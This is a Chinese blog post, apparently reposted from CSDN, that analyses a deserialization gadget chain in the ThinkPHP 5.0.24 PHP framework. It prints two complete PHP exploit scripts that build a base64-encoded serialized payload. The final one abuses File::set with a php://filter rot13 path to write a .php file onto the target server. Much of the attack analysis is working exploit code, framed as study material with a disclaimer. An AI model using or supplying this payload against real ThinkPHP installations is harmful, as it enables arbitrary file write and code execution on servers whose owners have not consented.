thinkphp—5.0.24写文件链分析

作者: Nolan
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

前言

最近在学习java,很久没有看php了,朋友给了一个此框架源码其中有可控的序列化点,看到网上有5.0.24的链子文章,复习一下php

魔术方法

1.__construct()

类一执行就开始调用,其作用是拿来初始化一些值。

2.__desctruct()

类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。

3.__get()

方法用于获取私有属性值。(在设置私有属性的时候将会自动调用)【http://www.cnblogs.com/xishaonian/p/6170459.html】

4.__set()

在对象访问私有成员的时候自动被调用,达到了给你看,但是不能给你修改的效果!(在对象访问一个私有的成员的时候就会自动的调用该魔术方法)【http://www.cnblogs.com/xishaonian/p/6170459.html】

5.__isset()

方法用于检测私有属性值是否被设定。(当外部使用isset读类内部进行检测对象是否有具有某个私有成员的时候就会被自动调用!)【http://www.cnblogs.com/xishaonian/p/6170459.html】

6.__unset()

方法用于删除私有属性。(在外部调用类内部的私有成员的时候就会自动的调用__unset魔术方法)【http://www.cnblogs.com/xishaonian/p/6170459.html】

7.__toString()

在对象当做字符串的时候会被调用。

8.__call()
   在对象中调用一个不可访问方法时,__call() 会被调用。

tp5.0.x

tp5.0.x触发RCE最后都需要调用__call方法

这里我们选择\thinkphp\library\think\console\Output.php的_call方法
在这里插入图片描述
接下来我们需要找到能调用__call方法的链子

首先我们全局搜索__destruct方法找到\thinkphp\library\think\process\pipes\Windows.php的
在这里插入图片描述
跟进removeFiles方法发现可以触发__tostring 方法
在这里插入图片描述
由于这里file_exists可以触发__toString方法 我们找到\thinkphp\library\think\Model.php
在这里插入图片描述
然后进入toJson
在这里插入图片描述
在toAarry方法里面找到四个地方可以触发__call
在这里插入图片描述
但是由于前面两个方法在初始启动类里面没有dd方法所以报错了
在这里插入图片描述
继续更进
在这里插入图片描述
现在就是要在当前类里面找到一个存在的无参方法,且该方法的返回值可控
在这里插入图片描述
到这里我们就能控制modelRelation了,但是method_exists($modelRelation, ‘getBindAttr’)由于先验证方法存在在调用,所以第三个调用_call的点也没了,只能看value的值是否可控来触发第四个_call
在这里插入图片描述
更进getRelationData方法方法发现 必须传入为Relation 的对象且必须存在isSelfRelation 和getModel方法且返回value必须和getModel方法的返回值一样或继承于Relation
在这里插入图片描述
我们找到\thinkphp\library\think\model\relation\HasOne.php可知其继承于OntoOne又继承于Relation
在这里插入图片描述
由于parent变量在Model中可控只需HasOne方法里面的getModel()满足==parent即可即为new Output();但是在调试过程中我发现其实可以不用返回值就可以触发__call方法
在这里插入图片描述
这是详细调用过程
在这里插入图片描述
到这里才发现小丑是自己无参传入block会导致报错
在这里插入图片描述
所以还是得回到Model继续调用第四条链子,参数为可控的attr
在这里插入图片描述
由于hasOne继承OneToOne所以调用此方法
在这里插入图片描述
得出调用__call的步骤

namespace think\process\pipes;
class Pipes
{


}
namespace think\model;
use think\Model;
class Merge extends Model
{}


namespace think\process\pipes;
use think\model\Merge;
class Windows extends Pipes
{   private $files=[];


   function __construct(){
      $this->files = [new Merge()];
   }


}
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
    protected $append=[];
    protected $error;
    protected $parent;
    protected $selfRelation;


     function __construct(){
        $this->append=["Nolan"=>"getError"];
        $this->error=new HasOne();
        $this->parent=new Output();
        $this->selfRelation = false;
    }
}
namespace think\console;
use think\session\driver\Memcached;
class Output
{
    protected $styles = [];
    function __construct()
        $this->styles = ['getAttr'];
    }
   
}
namespace think\model\relation;
use think\db\Query;
use think\model\Relation;
abstract class OneToOne extends Relation
{
     function __construct(){
        parent::__construct();
    }


}
class HasOne extends OneToOne{
    protected $query;
    protected $bindAttr=[];
     function __construct(){
        parent::__construct();
        $this->query=new Query();
        $this->bindAttr=["Sprint"=>"Hello"];
    }


}


namespace think\model;
abstract class Relation
{
     function __construct(){
    }
}
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
     function __construct(){
        $this->model=new Output();
    }
}


use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

然后紧接着__call方法调用了当前的block方法,跟进writeln 这里this->handle是可控的 搜索可利用的write方法找到thinkphp\library\think\session\driver\Memcache.php
在这里插入图片描述
这里由于handler是可控的所以我们又可以全局搜索set方法,查可利用的点找到thinkphp\library\think\cache\driver\File.php里面的set方法
在这里插入图片描述
这里我们看文件名继续跟进GetCacheKey方法发现我们的文件名是可控的且后缀是.php
在这里插入图片描述
由此得到exp

namespace think\process\pipes;
class Pipes
{


}
namespace think\model;
use think\Model;
class Merge extends Model
{}


namespace think\process\pipes;
use think\model\Merge;
class Windows extends Pipes
{   private $files=[];


   function __construct(){
      $this->files = [new Merge()];
   }


}
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
    protected $append=[];
    protected $error;
    protected $parent;
    protected $selfRelation;


     function __construct(){
        $this->append=["Nolan"=>"getError"];
        $this->error=new HasOne();
        $this->parent=new Output();
        $this->selfRelation = false;
    }
}
namespace think\console;
use think\session\driver\Memcached;
class Output
{
    protected $styles = [];
    private $handle=null;
    function __construct(){
        $this->handle=new Memcached();
        $this->styles = ['getAttr'];
    }
   
}
namespace think\model\relation;
use think\db\Query;
use think\model\Relation;
abstract class OneToOne extends Relation
{
     function __construct(){
        parent::__construct();
    }


}
class HasOne extends OneToOne{
    protected $query;
    protected $bindAttr=[];
     function __construct(){
        parent::__construct();
        $this->query=new Query();
        $this->bindAttr=["Sprint"=>"Hello"];
    }


}


namespace think\model;
abstract class Relation
{
     function __construct(){
    }
}
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
     function __construct(){
        $this->model=new Output();
    }
}
namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
   protected $handler = null;
   function __construct(){
      $this->handler = new File();//目的调用File->set()
   }
}
namespace think\cache\driver;#File
class File{
   protected $options = [];
   protected $tag;
    function __construct(){
       $this->options = [
      'expire'        => 0,
      'cache_subdir'  => false,
      'prefix'        => '',
      'path'          => 'php://filter/write=string.rot13/resource=cuc',
      'data_compress' => false,
      ];
      $this->tag = true;
    }
}


use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

这是本次的大概思路
在这里插入图片描述
这是整条链的调用过程

参考:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/
https://xz.aliyun.com/t/7310

了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_42282189/article/details/121781219